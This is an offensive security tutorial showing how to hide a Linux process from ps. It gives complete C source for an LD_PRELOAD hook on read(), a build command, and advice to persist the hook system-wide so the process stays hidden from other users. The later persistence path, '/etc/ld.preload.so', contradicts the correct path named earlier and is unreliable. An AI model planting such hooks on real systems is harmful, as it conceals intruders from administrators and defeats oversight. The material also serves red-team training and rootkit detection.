Everything in Linux is a file, that even goes for your process information. This lived inside the /proc directory on your filesystem. Today we will use and abuse this knowledge to hide a target process from the ps command in Linux, and in essence other Unix based systems. But first…

How does the ps command work?

As mentioned previously everything in Linux is a file, including the process tree in /proc.

The process tree

The process tree

The process tree

Each sub directory in the /proc file system corresponds to a process id, almost always these days process id 1 is systemd, This can be verified by reading /proc/1/stat

Showing Process ID 1 as systemd

Showing Process ID 1 as systemd

Showing Process ID 1 as systemd

Now that we understand the basics we can look at how the pscommand works.

By using the strace ps command we can begin to inspect how this command works.

Initially ps launches and loads the libprocps.so shared library. From here we can go lookup the code for procps, but wheres the fun in that. Lets continue through the trace.

Reading  stat and status

Reading stat and status

Reading  stat and status

As we read through we come to a section where ps is opening the file /proc/<PID>/stat and /proc/<PID>/status These files are read using read() to determine the data shown to the user by the command such as the process name, State, Umask, Memory usage etc…

Now we understand how the ps command works lets move on.

Hiding a process using C

Before we start hiding a process we need a target process. I selected the process pipewire from my process list using ps -U affix as seen below.

Output of ps -U affix

Output of ps -U affix

Output of ps -U affix

Function Hooking, the basics

Function hooking is the act of intercepting calls to already existing functions, like read() and write() to build a wrapper function that performs additional tasks before returning the data to the calling application. In linux this can be achieved using the Dynamic Loader API that allows us to dynamically load and execute functions from shared libraries at runtime. This can be abused using the LD_PRELOAD environment variable or the /etc/ld.so.preload file.

The LD_PRELOAD variable is used to specify some pre-loaded libraries that should be loaded first by the link loader, Similar to AppInit_DLLs on windows or DYLD_INSERT_LIBRARIES on MacOS.

How does this help us?

As we discussed above the ps command makes use of the read() call to read data from the /proc filesystem to determine process information to be displayed to the user.

By hooking the read() call we can determine the process name and hide it, or re-write it, to prevent ps from knowing our true process name.

Hooking read()

The read() manpage

The read() manpage

The read() manpage

In order to hook the read() function we need to define it in our code, From the man page we know the function signature is ssize_t read(int fd, void *buf, size_t count);

fd is the file descriptor we are reading from, This is defined in the ps command using the openat() system call.

*buf is our target read buffer, This is passed to read() as a pointer to a location in memory

count is the number of bytes to be read from fd

So lets define our hooking function.

1
2
3
4
5
6
7
8

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count) {
  return 0; 
}

the dlsym manpage

the dlsym manpage

the dlsym manpage

In order to successfully mimic the read() function we need to make use of dlsym() to get the existing read() symbol address. This can be done using the following code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>

ssize_t read(int fd, void *buf, size_t count) {
    ssize_t (*orig_read)(int fd, void *buf, size_t count);
    ssize_t result;

    orig_read = dlsym(RTLD_NEXT, "read");

    result = orig_read(fd, buf, count);

    return result;
}

Now our function will call the original read function and return the correct result.

Line 7 defines our *orig_read() pointer to match the method signature of read()

Line 10 makes use of dlsym() to get the address of the read() symbol and assign it to our new_read() pointer.

Using RTLD_NEXT ensures it will return the address of the next declaration of the read() symbol so we don’t call the one we have just created.

Line 12 calls the new_read() method to read the data and stores the return value in a result variable to be returned to the calling function.

Congratulations you have written a functioning function hook. At this stage we can compile our code to ensure it works, However we won’t see any difference at this stage.

Hiding our Target Process

Since our function already calls the original read() function we have all the information we need to hide the process in the buf pointer.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>

#define PROC_NAME "pipewire"

ssize_t read(int fd, void *buf, size_t count) {
    ssize_t (*orig_read)(int fd, void *buf, size_t count);
    ssize_t result;

    orig_read = dlsym(RTLD_NEXT, "read");

    result = orig_read(fd, buf, count);
    
    if(strstr(buf, PROC_NAME)) {
        return 0;
    }

    return result;
}

Our updated code now fully hooks and hides our target process defined in the PROC_NAME constant defined on Line 6

Line 16 does a comparison with strstr() to check if our process name exists in the buffer, If it does we return 0 to the caller. This tricks ps into thinking it has read an empty file and the process gets ignored.

Compiling and Testing

Now we have finished our code we can compile it with gcc as a shared library with the -shared flag, for this to work correctly however we need to compile it as Position In dependant Code with -fPIC

To make proper use of the dlsym function we need to link with libdl using -ldl and define the _DNU_SOURCE constant with -D_GNU_SOURCE . This could also be defined in the code with #define _GNU_SOURCE as a pre processor directive.

# gcc hookread.c -o hookread.so -shared -ldl -fPIC -D_GNU_SOURCE

We can then test the library with the LD_PRELOAD environment variable.

Success!

Success!

Success!

Success! Our target process, in my case pipewire, has been hidden from the ps command. Take that blue team!

In order to persist this and not require an environment variable, we can define the full path to our so file in /etc/ld.preload.so this will mean we can stay hidden when other users make use of the system.

Other Uses for hooking

There are numerous other offensive uses for hooking, and this only covers hiding a process. Other uses include but are not limited to :

  • Hiding from netstat
  • Hooking SSH Function calls to build a rootkit
  • MiTM hooking SSL Calls
  • Privilege Escellation

Thank you for taking the time to read my tutorial. I hope you found it informative. If you have any questions or comments please feel free to reach out to me on twitter @affixsec.